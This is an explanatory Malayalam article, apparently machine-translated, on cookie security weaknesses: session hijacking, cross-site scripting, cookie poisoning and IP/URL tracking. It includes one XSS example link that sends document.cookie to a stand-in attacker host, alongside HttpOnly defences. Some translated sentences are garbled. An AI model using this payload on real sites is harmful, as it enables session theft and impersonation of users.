സ്വകാര്യത പ്രശ്നങ്ങൾക്ക് പുറമേ, കുക്കികൾക്കും ചില സാങ്കേതിക പോരായ്മകളുണ്ട്. പ്രത്യേകിച്ചും, അവർ എല്ലായ്പ്പോഴും ഉപയോക്താക്കളെ കൃത്യമായി തിരിച്ചറിയുന്നില്ല, അവർക്ക് സൈറ്റിന്റെ പ്രകടനം മന്ദഗതിയിലാക്കാൻ കഴിയും, വലിയ സംഖ്യകളിൽ, സുരക്ഷാ ആക്രമണങ്ങൾക്ക് അവ ഉപയോഗിക്കാനാകും, കൂടാതെ അവ സോഫ്റ്റ്വെയറിന്റെ വാസ്തുവിദ്യാ ശൈലി, പ്രതിനിധി സംസ്ഥാന കൈമാറ്റം എന്നിവയുമായി വൈരുദ്ധ്യം സൃഷ്ടിക്കുന്നു.

കൃത്യമല്ലാത്ത തിരിച്ചറിയൽ

ഒരു കമ്പ്യൂട്ടറിൽ ഒന്നിൽ കൂടുതൽ ബ്രൗസറുകൾ ഉപയോഗിക്കുകയാണെങ്കിൽ, അവയിൽ ഓരോന്നിലും കുക്കികൾക്കായി പ്രത്യേക സ്റ്റോറേജ് യൂണിറ്റ് എപ്പോഴും ഉണ്ടായിരിക്കും. അതിനാൽ കുക്കികൾ ഒരു വ്യക്തിയെ തിരിച്ചറിയുന്നില്ല, മറിച്ച് ഒരു ഉപയോക്തൃ അക്കൗണ്ട്, ഒരു കമ്പ്യൂട്ടർ, ഒരു വെബ് ബ്രൗസർ എന്നിവയുടെ സംയോജനമാണ്. അതിനാൽ, കുക്കികളുടെ പനോപ്ലി ഉള്ള ഈ അക്കൗണ്ടുകളോ കമ്പ്യൂട്ടറുകളോ ബ്രൗസറുകളോ ആർക്കും ഉപയോഗിക്കാം. അതുപോലെ, ഒരേ ഉപയോക്തൃ അക്കൗണ്ട്, കമ്പ്യൂട്ടർ, ബ്രൗസർ എന്നിവ പങ്കിടുന്ന ഒന്നിലധികം ഉപയോക്താക്കൾക്കിടയിൽ കുക്കികൾ വ്യത്യാസം കാണിക്കുന്നില്ല, ഉദാഹരണത്തിന്, "ഇന്റർനെറ്റ് കഫേകൾ" അല്ലെങ്കിൽ കമ്പ്യൂട്ടർ ഉറവിടങ്ങളിലേക്ക് സൗജന്യ ആക്സസ് നൽകുന്ന ഏതെങ്കിലും സ്ഥലം.

എന്നാൽ പ്രായോഗികമായി, ഈ പ്രസ്താവന ഭൂരിഭാഗം കേസുകളിലും തെറ്റിദ്ധരിപ്പിക്കുന്നതായി മാറുന്നു, കാരണം ഇന്ന് "വ്യക്തിഗത" കമ്പ്യൂട്ടർ (അല്ലെങ്കിൽ ഒരു സ്മാർട്ട്ഫോൺ അല്ലെങ്കിൽ ടാബ്ലെറ്റ്, അത് മോശമായത്) പ്രധാനമായും ഒരു വ്യക്തിയാണ് ഉപയോഗിക്കുന്നത്. വ്യക്തിയെ "അതായത്" തിരിച്ചറിഞ്ഞില്ലെങ്കിലും ശേഖരിക്കുന്ന വിവരങ്ങളുടെ അളവ് വ്യക്തിഗതമാക്കിയ ടാർഗെറ്റിംഗിൽ എത്തിച്ചേരുന്നു.

കുക്കികളുടെ മോഷണം

നെറ്റ്‌വർക്കിലെ മറ്റൊരു കമ്പ്യൂട്ടറിന് ഒരു കുക്കി മോഷ്ടിക്കപ്പെടാം.

സാധാരണ പ്രവർത്തന സമയത്ത്, സെർവറിനും (അല്ലെങ്കിൽ അതേ ഡൊമെയ്‌നിലെ ഒരു കൂട്ടം സെർവറുകൾക്കും) ഉപയോക്താവിന്റെ കമ്പ്യൂട്ടർ ബ്രൗസറിനും ഇടയിൽ കുക്കികൾ തിരികെ അയയ്‌ക്കും. കുക്കികളിൽ സെൻസിറ്റീവ് വിവരങ്ങൾ അടങ്ങിയിരിക്കാമെന്നതിനാൽ (ഉപയോക്തൃനാമം, പ്രാമാണീകരണത്തിനായി ഉപയോഗിക്കുന്ന പാസ്‌വേഡ് മുതലായവ), അവയുടെ മൂല്യങ്ങൾ മറ്റ് കമ്പ്യൂട്ടറുകളിലേക്ക് ആക്‌സസ് ചെയ്യാൻ പാടില്ല. കുക്കി മോഷണം ഒരു അനധികൃത മൂന്നാം കക്ഷി കുക്കികൾ തടസ്സപ്പെടുത്തുന്ന ഒരു പ്രവൃത്തിയാണ്.

സെഷൻ ഹൈജാക്കിംഗ് എന്ന ആക്രമണത്തിൽ പാക്കറ്റ് സ്നിഫർ വഴി കുക്കികൾ മോഷ്ടിക്കപ്പെടാം. അയയ്‌ക്കുന്നതും സ്വീകരിക്കുന്നതും ഒഴികെയുള്ള കമ്പ്യൂട്ടറുകൾക്ക് (പ്രത്യേകിച്ച് എൻക്രിപ്റ്റ് ചെയ്യാത്ത പൊതു വൈഫൈ സ്‌പെയ്‌സിൽ) നെറ്റിലെ ട്രാഫിക് തടസ്സപ്പെടുത്താനും വായിക്കാനും കഴിയും. ഈ ട്രാഫിക്കിൽ പ്ലെയിൻ HTTP പ്രോട്ടോക്കോൾ ഉപയോഗിച്ച് സെഷനുകളിൽ അയച്ച കുക്കികൾ ഉൾപ്പെടുന്നു. നെറ്റ്‌വർക്ക് ട്രാഫിക് എൻക്രിപ്റ്റ് ചെയ്യാത്തപ്പോൾ, "പാക്കറ്റ് സ്‌നിഫറുകൾ" ഉപയോഗിച്ച് നെറ്റ്‌വർക്കിലെ മറ്റ് ഉപയോക്താക്കളുടെ ആശയവിനിമയങ്ങൾ ക്ഷുദ്ര ഉപയോക്താക്കൾക്ക് വായിക്കാൻ കഴിയും.

HTTPS പ്രോട്ടോക്കോൾ ഉപയോഗിച്ച് ഉപയോക്താവിന്റെ കമ്പ്യൂട്ടറും സെർവറും തമ്മിലുള്ള ബന്ധം എൻക്രിപ്റ്റ് ചെയ്യുന്നതിലൂടെ ഈ പ്രശ്നം മറികടക്കാൻ കഴിയും. ഒരു സെർവറിന് എ വ്യക്തമാക്കാൻ കഴിയും സുരക്ഷിതമായ പതാക ഒരു കുക്കി സജ്ജീകരിക്കുമ്പോൾ; ഒരു SSL കണക്ഷൻ പോലെയുള്ള ഒരു സുരക്ഷിത ലൈനിലൂടെ മാത്രമേ ബ്രൗസർ അത് അയയ്ക്കുകയുള്ളൂ.

എന്നിരുന്നാലും, പല സൈറ്റുകളും, ഉപയോക്തൃ പ്രാമാണീകരണത്തിനായി (അതായത് ലോഗിൻ പേജ്) HTTPS എൻക്രിപ്റ്റ് ചെയ്ത ആശയവിനിമയം ഉപയോഗിക്കുന്നുണ്ടെങ്കിലും, കാര്യക്ഷമത കാരണങ്ങളാൽ എൻക്രിപ്റ്റ് ചെയ്യാത്ത HTTP കണക്ഷനുകൾ വഴി പിന്നീട് സെഷൻ കുക്കികളും മറ്റ് ഡാറ്റയും സാധാരണ പോലെ അയയ്ക്കുന്നു. ആക്രമണകാരികൾക്ക് മറ്റ് ഉപയോക്താക്കളുടെ കുക്കികളെ തടസ്സപ്പെടുത്താനും ഉചിതമായ സൈറ്റുകളിൽ ആൾമാറാട്ടം നടത്താനും അല്ലെങ്കിൽ കുക്കി ആക്രമണങ്ങളിൽ അവ ഉപയോഗിക്കാനും കഴിയും.

സൈറ്റിലെ സ്ക്രിപ്റ്റിംഗ്: സെർവറിനും ക്ലയന്റിനുമിടയിൽ മാത്രം കൈമാറ്റം ചെയ്യേണ്ട ഒരു കുക്കി മറ്റൊരു മൂന്നാം കക്ഷിക്ക് അയയ്ക്കുന്നു.

കുക്കികൾ മോഷ്ടിക്കുന്നതിനുള്ള മറ്റൊരു മാർഗ്ഗം സ്ക്രിപ്റ്റ് സൈറ്റുകൾ, ബ്രൗസർ തന്നെ അവ ഒരിക്കലും സ്വീകരിക്കാത്ത ക്ഷുദ്രകരമായ സെർവറുകളിലേക്ക് കുക്കികൾ അയയ്ക്കുക എന്നതാണ്. ആധുനിക ബ്രൗസറുകൾ സെർവറിൽ നിന്ന് ആവശ്യപ്പെടുന്ന കോഡിന്റെ ഭാഗങ്ങൾ നടപ്പിലാക്കാൻ അനുവദിക്കുന്നു. റൺടൈമിൽ കുക്കികൾ ആക്‌സസ്സുചെയ്യുകയാണെങ്കിൽ, അവയുടെ മൂല്യങ്ങൾ ആക്‌സസ് ചെയ്യാൻ പാടില്ലാത്ത സെർവറുകളിലേക്ക് ഏതെങ്കിലും രൂപത്തിൽ ആശയവിനിമയം നടത്തിയേക്കാം. നെറ്റ്‌വർക്കിലൂടെ അയയ്‌ക്കുന്നതിന് മുമ്പ് കുക്കികൾ എൻക്രിപ്റ്റ് ചെയ്യുന്നത് ആക്രമണത്തെ തടയാൻ സഹായിക്കില്ല.

HTML ഉള്ളടക്കം പോസ്റ്റുചെയ്യാൻ ഉപയോക്താക്കളെ അനുവദിക്കുന്ന സൈറ്റുകളിലെ ആക്രമണകാരികളാണ് ഇത്തരത്തിലുള്ള ഇൻ-സൈറ്റ് സ്ക്രിപ്റ്റിംഗ് സാധാരണയായി ഉപയോഗിക്കുന്നത്. HTML സംഭാവനയിൽ അനുയോജ്യമായ കോഡിന്റെ ഒരു ഭാഗം സംയോജിപ്പിക്കുന്നതിലൂടെ, ഒരു ആക്രമണകാരിക്ക് മറ്റ് ഉപയോക്താക്കളിൽ നിന്ന് കുക്കികൾ സ്വീകരിക്കാനാകും. മോഷ്ടിച്ച കുക്കികൾ ഉപയോഗിച്ച് അതേ സൈറ്റിലേക്ക് കണക്റ്റുചെയ്യുന്നതിലൂടെ ഈ കുക്കികളെക്കുറിച്ചുള്ള അറിവ് ഉപയോഗിക്കാനാകും, അങ്ങനെ കുക്കികൾ മോഷ്ടിക്കപ്പെട്ട ഉപയോക്താവായി അംഗീകരിക്കപ്പെടും.

ഇത്തരം ആക്രമണങ്ങൾ തടയാനുള്ള ഒരു മാർഗ്ഗം Http മാത്രം ഫ്ലാഗ് ഉപയോഗിക്കുക എന്നതാണ്; PHP-യിലെ Internet Explorer-ന്റെ 6-ാം പതിപ്പ് മുതൽ അവതരിപ്പിക്കപ്പെട്ട ഒരു ഓപ്‌ഷനാണിത്, ഇത് 5.2.0 പതിപ്പ് മുതൽ സ്‌ക്രിപ്റ്റിനോട് ചേർന്നുള്ള ക്ലയന്റിന് കുക്കി ആക്‌സസ്സുചെയ്യാനാകാത്തതാക്കാൻ പദ്ധതിയിട്ടിരിക്കുന്നു. എന്നിരുന്നാലും, വെബ് ഡെവലപ്പർമാർ ഇത് അവരുടെ സൈറ്റ് ഡെവലപ്‌മെന്റിൽ കണക്കിലെടുക്കണം, അതുവഴി അവർ സൈറ്റിലെ സ്‌ക്രിപ്റ്റിംഗിൽ നിന്ന് പ്രതിരോധിക്കും.

സൈറ്റിലെ ഡിമാൻഡ് ഫാബ്രിക്കേഷനാണ് ഉപയോഗിക്കുന്ന മറ്റൊരു സുരക്ഷാ ഭീഷണി.

കുക്കികൾ അവ ഉത്ഭവിച്ച ഡൊമെയ്‌നിലെ സെർവറുകളിലേക്ക് മാത്രം തിരികെ അയയ്‌ക്കാൻ ഔദ്യോഗിക സാങ്കേതിക സ്‌പെസിഫിക്കേഷൻ അനുവദിക്കുന്നു. എന്നിരുന്നാലും, കുക്കി ഹെഡറുകൾ ഒഴികെയുള്ള മാർഗങ്ങൾ ഉപയോഗിച്ച് കുക്കികളുടെ മൂല്യം മറ്റ് സെർവറുകളിലേക്ക് അയയ്ക്കാൻ കഴിയും.

പ്രത്യേകിച്ചും, ജാവാസ്ക്രിപ്റ്റ് പോലുള്ള സ്ക്രിപ്റ്റിംഗ് ഭാഷകൾക്ക് കുക്കി മൂല്യങ്ങൾ ആക്സസ് ചെയ്യാൻ പൊതുവെ അനുവാദമുണ്ട് കൂടാതെ ഇന്റർനെറ്റിലെ ഏത് സെർവറിലേക്കും അനിയന്ത്രിതമായ മൂല്യങ്ങൾ അയയ്ക്കാൻ കഴിയും. മറ്റ് ഉപയോക്താക്കൾക്ക് കാണുന്നതിനായി HTML ഉള്ളടക്കം പോസ്റ്റുചെയ്യാൻ ഉപയോക്താക്കളെ അനുവദിക്കുന്ന വെബ്‌സൈറ്റുകളിൽ നിന്നാണ് ഈ സ്‌ക്രിപ്റ്റിംഗ് കഴിവ് ഉപയോഗിക്കുന്നത്.

ഉദാഹരണത്തിന്, example.com ഡൊമെയ്‌നിൽ പ്രവർത്തിക്കുന്ന ഒരു ആക്രമണകാരി, അവർ നിയന്ത്രിക്കാത്ത ഒരു ജനപ്രിയ ബ്ലോഗിലേക്ക് ചൂണ്ടിക്കാണിക്കുന്ന ഇനിപ്പറയുന്ന ലിങ്ക് അടങ്ങിയ ഒരു അഭിപ്രായം പോസ്റ്റ് ചെയ്തേക്കാം:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

മറ്റൊരു ഉപയോക്താവ് ഈ ലിങ്കിൽ ക്ലിക്കുചെയ്യുമ്പോൾ, ബ്രൗസർ കോഡിന്റെ onclick ആട്രിബ്യൂട്ട് ഭാഗം എക്സിക്യൂട്ട് ചെയ്യുന്നു, അതിനാൽ അത് document.cookie സ്ട്രിംഗ് ഈ പേജിനായി സജീവമായ ഉപയോക്തൃ കുക്കികളുടെ ലിസ്റ്റ് ഉപയോഗിച്ച് മാറ്റിസ്ഥാപിക്കുന്നു. അതിനാൽ, ഈ കുക്കികളുടെ ലിസ്റ്റ് example.com സെർവറിലേക്ക് അയയ്‌ക്കുന്നു, അതിനാൽ ആക്രമണകാരിക്ക് ഈ ഉപയോക്താവിന്റെ കുക്കികൾ ശേഖരിക്കാൻ കഴിയും.

കുക്കി സജ്ജമാക്കിയ അതേ ഡൊമെയ്‌നിൽ നിന്നാണ് സ്‌ക്രിപ്റ്റ് വരുന്നതെന്നതിനാൽ ഉപയോക്തൃ ഭാഗത്ത് ഇത്തരത്തിലുള്ള ആക്രമണം കണ്ടെത്തുന്നത് ബുദ്ധിമുട്ടാണ്, കൂടാതെ മൂല്യങ്ങൾ അയയ്‌ക്കുന്നതിനുള്ള പ്രവർത്തനം ആ ഡൊമെയ്‌ൻ അംഗീകരിച്ചതായി തോന്നുന്നു. ക്ഷുദ്ര കോഡ് പ്രസിദ്ധീകരിക്കുന്നത് തടയുന്നതിന് നിയന്ത്രണങ്ങൾ ഏർപ്പെടുത്തേണ്ടത് ഇത്തരത്തിലുള്ള സൈറ്റ് പ്രവർത്തിപ്പിക്കുന്ന അഡ്മിനിസ്ട്രേറ്റർമാരുടെ ഉത്തരവാദിത്തമാണെന്ന് കരുതപ്പെടുന്നു.

HttpOnly ഫ്ലാഗ് ഉപയോഗിച്ച് അയച്ചതാണെങ്കിൽ, JavaScript പോലുള്ള ക്ലയന്റ്-സൈഡ് പ്രോഗ്രാമുകൾക്ക് കുക്കികൾ നേരിട്ട് ദൃശ്യമാകില്ല. സെർവറിന്റെ വീക്ഷണകോണിൽ നിന്ന്, ഒരേയൊരു വ്യത്യാസം സെറ്റ്-കുക്കി ഹെഡറിന്റെ വരിയിൽ HttpOnly എന്ന സ്ട്രിംഗ് അടങ്ങിയ ഒരു പുതിയ ഫീൽഡ് ചേർത്തിരിക്കുന്നു എന്നതാണ്:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

ബ്രൗസറിന് അത്തരമൊരു കുക്കി ലഭിക്കുമ്പോൾ, അത് ഇനിപ്പറയുന്ന HTTP എക്‌സ്‌ചേഞ്ചിൽ സാധാരണയായി ഉപയോഗിക്കേണ്ടതാണ്, എന്നാൽ ക്ലയന്റ് സൈഡിൽ എക്‌സിക്യൂട്ട് ചെയ്‌ത സ്‌ക്രിപ്റ്റുകൾക്ക് അത് ദൃശ്യമാക്കാതെ. HttpOnly ഫ്ലാഗ് ഏതെങ്കിലും ഔദ്യോഗിക സാങ്കേതിക സ്പെസിഫിക്കേഷന്റെ ഭാഗമല്ല, എല്ലാ ബ്രൗസറുകളിലും ഇത് നടപ്പിലാക്കിയിട്ടില്ല. XMLHTTPRequest രീതി ഉപയോഗിച്ച് സെഷൻ കുക്കികൾ വായിക്കുന്നതും എഴുതുന്നതും തടയാൻ നിലവിൽ ഒരു മാർഗവുമില്ല എന്നത് ശ്രദ്ധിക്കുക.

ഉള്ളടക്കത്തിന്റെ പരിഷ്‌ക്കരണം: ഒരു ആക്രമണകാരി ഒരു അസാധുവായ കുക്കി ഒരു സെർവറിലേക്ക് അയയ്‌ക്കുന്നു, ഒരുപക്ഷേ സെർവർ അയച്ച സാധുവായ കുക്കിയിൽ നിന്ന് നിർമ്മിച്ചതാകാം.

കുക്കികൾ മാറ്റുന്നു

കുക്കികൾ സംഭരിക്കുകയും സെർവറിലേക്ക് മാറ്റമില്ലാതെ തിരികെ നൽകുകയും ചെയ്യേണ്ടി വന്നാൽ, സെർവറിലേക്ക് തിരികെ അയയ്‌ക്കുന്നതിന് മുമ്പ് ഒരു ആക്രമണകാരിക്ക് കുക്കികളുടെ മൂല്യം പരിഷ്‌ക്കരിക്കാൻ കഴിയും. ഉദാഹരണത്തിന്, ഒരു കുക്കിയിൽ സ്റ്റോറിന്റെ ഷോപ്പിംഗ് കാർട്ടിൽ സ്ഥാപിച്ചിരിക്കുന്ന ഇനങ്ങൾക്ക് ഉപയോക്താവ് നൽകേണ്ട മൊത്തം മൂല്യം അടങ്ങിയിട്ടുണ്ടെങ്കിൽ, ഈ മൂല്യം മാറ്റുന്നത്, ആക്രമണകാരിയിൽ നിന്ന് ആരംഭ വിലയേക്കാൾ കുറവ് ഈടാക്കാനുള്ള അപകടസാധ്യത സെർവറിനെ തുറന്നുകാട്ടുന്നു. കുക്കികളുടെ മൂല്യം പരിഷ്ക്കരിക്കുന്ന പ്രക്രിയയെ വിളിക്കുന്നു കുക്കി വിഷബാധ ആക്രമണം സ്ഥിരതയുള്ളതാക്കാൻ കുക്കി മോഷണത്തിന് ശേഷം ഉപയോഗിക്കാം.

കുക്കി അസാധുവാക്കൽ രീതിയിൽ, സെർവറിലേക്ക് ഒരു അസാധുവായ കുക്കി അയയ്‌ക്കാൻ ആക്രമണകാരി ബ്രൗസർ തകരാറിനെ ചൂഷണം ചെയ്യുന്നു.

എന്നിരുന്നാലും, മിക്ക വെബ്‌സൈറ്റുകളും ഒരു സെഷൻ ഐഡി മാത്രം സംഭരിക്കുന്നു - സെഷൻ ഉപയോക്താവിനെ തിരിച്ചറിയാൻ ഉപയോഗിക്കുന്ന ക്രമരഹിതമായി ജനറേറ്റുചെയ്‌ത തനത് നമ്പർ - കുക്കിയിൽ തന്നെ, മറ്റെല്ലാ വിവരങ്ങളും സെർവറിൽ സംഭരിച്ചിരിക്കുന്നു. ഈ സാഹചര്യത്തിൽ, ഈ പ്രശ്നം വലിയതോതിൽ പരിഹരിച്ചിരിക്കുന്നു.

വെബ്‌സൈറ്റുകൾക്കിടയിൽ കുക്കി കൈകാര്യം ചെയ്യൽ

ഓരോ സൈറ്റിനും അതിന്റേതായ കുക്കികൾ ഉണ്ടായിരിക്കുമെന്ന് പ്രതീക്ഷിക്കുന്നു, അതിനാൽ ഒരു സൈറ്റിന് മറ്റൊരു സൈറ്റുമായി ബന്ധപ്പെട്ട കുക്കികൾ പരിഷ്കരിക്കാനോ സൃഷ്ടിക്കാനോ കഴിയില്ല. ഒരു വെബ് ബ്രൗസർ സുരക്ഷാ പിഴവ് ഈ നിയമം ലംഘിക്കാൻ ക്ഷുദ്ര സൈറ്റുകളെ അനുവദിക്കും. അത്തരമൊരു ന്യൂനതയെ ചൂഷണം ചെയ്യുന്നതിനെ സാധാരണയായി വിളിക്കുന്നു ക്രോസ്-സൈറ്റ് പാചകം. അത്തരം ആക്രമണങ്ങളുടെ ലക്ഷ്യം സെഷൻ ഐഡി മോഷണമായിരിക്കാം.

ഈ കേടുപാടുകൾ ഫലത്തിൽ ഇല്ലാതാക്കുന്ന വെബ് ബ്രൗസറുകളുടെ ഏറ്റവും പുതിയ പതിപ്പുകൾ ഉപയോക്താക്കൾ ഉപയോഗിക്കണം.

ക്ലയന്റും സെർവറും തമ്മിലുള്ള വൈരുദ്ധ്യാവസ്ഥ

കുക്കികളുടെ ഉപയോഗം ക്ലയന്റിന്റെ അവസ്ഥയും കുക്കിയിൽ സംഭരിച്ചിരിക്കുന്ന അവസ്ഥയും തമ്മിൽ വൈരുദ്ധ്യം സൃഷ്ടിച്ചേക്കാം. ഉപയോക്താവ് ഒരു കുക്കി സ്വന്തമാക്കുകയും ബ്രൗസറിന്റെ "ബാക്ക്" ബട്ടണിൽ ക്ലിക്ക് ചെയ്യുകയും ചെയ്താൽ, ബ്രൗസറിന്റെ അവസ്ഥ പൊതുവെ ഈ ഏറ്റെടുക്കലിന് മുമ്പുള്ളതുപോലെ ആയിരിക്കില്ല. ഉദാഹരണത്തിന്, ഒരു ഓൺലൈൻ സ്റ്റോറിന്റെ ബാസ്‌ക്കറ്റ് കുക്കികൾ ഉപയോഗിച്ചാണ് സൃഷ്‌ടിച്ചതെങ്കിൽ, ഉപയോക്താവ് ബ്രൗസർ ചരിത്രത്തിലേക്ക് മടങ്ങുമ്പോൾ ബാസ്‌ക്കറ്റിലെ ഉള്ളടക്കം മാറില്ല: ഉപയോക്താവ് തന്റെ ബാസ്‌ക്കറ്റിൽ ഒരു ലേഖനം ചേർക്കാൻ ഒരു ബട്ടൺ അമർത്തി "മടങ്ങുക" എന്നതിൽ ക്ലിക്ക് ചെയ്താൽ "ബട്ടൺ, ലേഖനം ഇതിലുണ്ട്. ലേഖനത്തിന്റെ കൂട്ടിച്ചേർക്കൽ റദ്ദാക്കാൻ തീർച്ചയായും ആഗ്രഹിക്കുന്ന ഉപയോക്താവിന്റെ ഉദ്ദേശ്യം ഇതായിരിക്കില്ല. ഇത് വിശ്വാസ്യത, ആശയക്കുഴപ്പം, ബഗുകൾ എന്നിവയിലേക്ക് നയിച്ചേക്കാം. അതിനാൽ വെബ് ഡെവലപ്പർമാർ ഈ പ്രശ്നത്തെക്കുറിച്ച് ബോധവാന്മാരാകുകയും ഇതുപോലുള്ള സാഹചര്യങ്ങൾ കൈകാര്യം ചെയ്യുന്നതിനുള്ള നടപടികൾ നടപ്പിലാക്കുകയും വേണം.

കുക്കി കാലഹരണപ്പെടുന്നു

സ്ഥിരമായ കുക്കികൾ ഉടൻ കാലഹരണപ്പെടാൻ സജ്ജീകരിക്കാത്തതിന് സ്വകാര്യത സുരക്ഷാ വിദഗ്ധർ വിമർശിച്ചു, അതുവഴി ഉപയോക്താക്കളെ ട്രാക്ക് ചെയ്യാനും കാലക്രമേണ അവരുടെ പ്രൊഫൈൽ നിർമ്മിക്കാനും വെബ്‌സൈറ്റുകളെ അനുവദിക്കുന്നു. കുക്കികളുടെ ഈ വശവും സെഷൻ ഹൈജാക്കിംഗ് പ്രശ്‌നത്തിന്റെ ഭാഗമാണ്, കാരണം മോഷ്‌ടിക്കപ്പെട്ട സ്ഥിരമായ കുക്കി ഒരു ഉപയോക്താവിനെ ഗണ്യമായ സമയത്തേക്ക് ആൾമാറാട്ടം ചെയ്യാൻ ഉപയോഗിക്കാം.

ഇത് വായിക്കാൻ: ഗഫാം: അവർ ആരാണ്? എന്തുകൊണ്ടാണ് അവർ (ചിലപ്പോൾ) ഭയപ്പെടുത്തുന്നത്?

കുക്കികൾക്കുള്ള ഇതരമാർഗങ്ങൾ

കുക്കികൾ ഉപയോഗിച്ച് ചെയ്യാവുന്ന ചില പ്രവർത്തനങ്ങൾ കുക്കികളെ മറികടക്കുന്നതോ ഇല്ലാതാക്കിയ കുക്കികൾ പുനഃസൃഷ്‌ടിക്കുന്നതോ ആയ മറ്റ് മെക്കാനിസങ്ങൾ ഉപയോഗിച്ചും നടത്താം, ഇത് കുക്കികളേക്കാൾ അതേ രീതിയിൽ (അല്ലെങ്കിൽ ചിലപ്പോൾ അദൃശ്യമായതിനാൽ അദൃശ്യമായതിനാൽ) സ്വകാര്യത പ്രശ്നങ്ങൾ സൃഷ്ടിക്കുന്നു.

IP വിലാസം

പേജിലേക്ക് വിളിക്കുന്ന കമ്പ്യൂട്ടറിന്റെ ഐപി വിലാസം ഉപയോഗിച്ച് ഉപയോക്താക്കളെ ട്രാക്ക് ചെയ്യാൻ കഴിയും. വേൾഡ് വൈഡ് വെബിന്റെ ആമുഖം മുതൽ ഈ സാങ്കേതികവിദ്യ ലഭ്യമാണ്, പേജുകൾ ഡൗൺലോഡ് ചെയ്യുമ്പോൾ, ബ്രൗസറോ പ്രോക്സിയോ പ്രവർത്തിക്കുന്ന കമ്പ്യൂട്ടറിന്റെ ഐപി വിലാസം സെർവർ അഭ്യർത്ഥിക്കുന്നു, അവയൊന്നും ഉപയോഗിക്കുന്നില്ലെങ്കിൽ. കുക്കികൾ ഉപയോഗത്തിലുണ്ടെങ്കിലും ഇല്ലെങ്കിലും സെർവറിന് ഈ വിവരങ്ങൾ ട്രാക്ക് ചെയ്യാൻ കഴിയും. എന്നിരുന്നാലും, കമ്പ്യൂട്ടറുകളും പ്രോക്‌സികളും ഒന്നിലധികം ഉപയോക്താക്കൾ പങ്കിട്ടേക്കാം എന്നതിനാൽ ഈ വിലാസങ്ങൾ സാധാരണയായി ഒരു ഉപയോക്താവിനെ തിരിച്ചറിയുന്നതിൽ വിശ്വാസ്യത കുറവാണ്, കൂടാതെ ഓരോ വർക്ക് സെഷനിലും ഒരേ കമ്പ്യൂട്ടറിന് വ്യത്യസ്ത IP വിലാസം ലഭിച്ചേക്കാം (ഉദാഹരണത്തിന്, ടെലിഫോൺ കണക്ഷനുകളുടെ കാര്യത്തിൽ) .

പവർ ഓണായിരിക്കുന്നിടത്തോളം കാലം ഒരേ ഐപി വിലാസം നിലനിർത്തുന്ന ബ്രോഡ്‌ബാൻഡ് കണക്ഷനുകൾ പോലുള്ള ചില സാഹചര്യങ്ങളിൽ ഐപി വിലാസങ്ങൾ ട്രാക്കുചെയ്യുന്നത് വിശ്വസനീയമായിരിക്കും.

ടോർ പോലെയുള്ള ചില സിസ്റ്റങ്ങൾ ഇന്റർനെറ്റിന്റെ അജ്ഞാതത്വം നിലനിർത്തുന്നതിനും IP വിലാസം വഴിയുള്ള ട്രാക്കിംഗ് അസാധ്യമോ അപ്രായോഗികമോ ആക്കാനും രൂപകൽപ്പന ചെയ്തിട്ടുള്ളതാണ്.

യുആർഎൽ

URL-കളിൽ വിവരങ്ങൾ ഉൾച്ചേർക്കുന്നതിനെ അടിസ്ഥാനമാക്കിയുള്ളതാണ് കൂടുതൽ കൃത്യമായ സാങ്കേതികത. URL-ന്റെ അന്വേഷണ സ്ട്രിംഗ് ഭാഗം ഈ ആവശ്യത്തിനായി സാധാരണയായി ഉപയോഗിക്കുന്ന ഒരു സാങ്കേതികതയാണ്, എന്നാൽ മറ്റ് ഭാഗങ്ങളും ഉപയോഗിക്കാം. കുക്കികൾ പ്രവർത്തനക്ഷമമാക്കിയിട്ടില്ലെങ്കിൽ ജാവ സെർവർലെറ്റും പിഎച്ച്പി സെഷൻ മെക്കാനിസങ്ങളും ഈ രീതി ഉപയോഗിക്കുന്നു.

ബ്രൗസറിലേക്ക് അയയ്‌ക്കുമ്പോൾ അത് വഹിക്കുന്ന വെബ് പേജിന്റെ ലിങ്കുകളിലേക്ക് സ്ട്രിംഗ് അഭ്യർത്ഥനകൾ ചേർക്കുന്നത് വെബ് സെർവർ ഉൾക്കൊള്ളുന്നതാണ് ഈ രീതി. ഉപയോക്താവ് ഒരു ലിങ്ക് പിന്തുടരുമ്പോൾ, ബ്രൗസർ സെർവറിലേക്ക് അറ്റാച്ച് ചെയ്ത അന്വേഷണ സ്ട്രിംഗ് തിരികെ നൽകുന്നു.

ഈ ആവശ്യത്തിനായി ഉപയോഗിക്കുന്ന അന്വേഷണ സ്ട്രിംഗുകളും കുക്കികളും വളരെ സാമ്യമുള്ളതാണ്, ഇവ രണ്ടും സെർവർ ഏകപക്ഷീയമായി തിരഞ്ഞെടുത്തതും ബ്രൗസർ നൽകുന്നതുമായ വിവരങ്ങളാണ്. എന്നിരുന്നാലും, ചില വ്യത്യാസങ്ങളുണ്ട്: ഒരു അന്വേഷണ സ്ട്രിംഗ് അടങ്ങിയ URL വീണ്ടും ഉപയോഗിക്കുമ്പോൾ, അതേ വിവരങ്ങൾ സെർവറിലേക്ക് അയയ്ക്കും. ഉദാഹരണത്തിന്, ഒരു URL-ന്റെ അന്വേഷണ സ്ട്രിംഗിൽ ഒരു ഉപയോക്താവിന്റെ മുൻഗണനകൾ എൻകോഡ് ചെയ്യുകയും ഉപയോക്താവ് ആ URL മറ്റൊരു ഉപയോക്താവിന് ഇമെയിൽ വഴി അയയ്ക്കുകയും ചെയ്താൽ, ആ ഉപയോക്താവിനും ആ മുൻഗണനകൾ ഉപയോഗിക്കാനാകും.

മറുവശത്ത്, ഒരു ഉപയോക്താവ് ഒരേ പേജ് രണ്ടുതവണ ആക്സസ് ചെയ്യുമ്പോൾ, ഒരേ ചോദ്യ സ്ട്രിംഗ് രണ്ട് തവണയും ഉപയോഗിക്കുമെന്നതിന് യാതൊരു ഉറപ്പുമില്ല. ഉദാഹരണത്തിന്, ഒരു ഉപയോക്താവ് ആദ്യമായി ഒരു ഇന്റേണൽ സൈറ്റ് പേജിൽ നിന്ന് ഒരു പേജിൽ ഇറങ്ങുകയും രണ്ടാമത്തെ തവണ ഒരു ബാഹ്യ പേജിൽ നിന്ന് അതേ പേജിൽ എത്തുകയും ചെയ്താൽ, സൈറ്റ് പേജുമായി ബന്ധപ്പെട്ട അന്വേഷണ സ്ട്രിംഗ് സാധാരണയായി വ്യത്യസ്തമായിരിക്കും, അതേസമയം കുക്കികൾ സമാനമാണ്. .

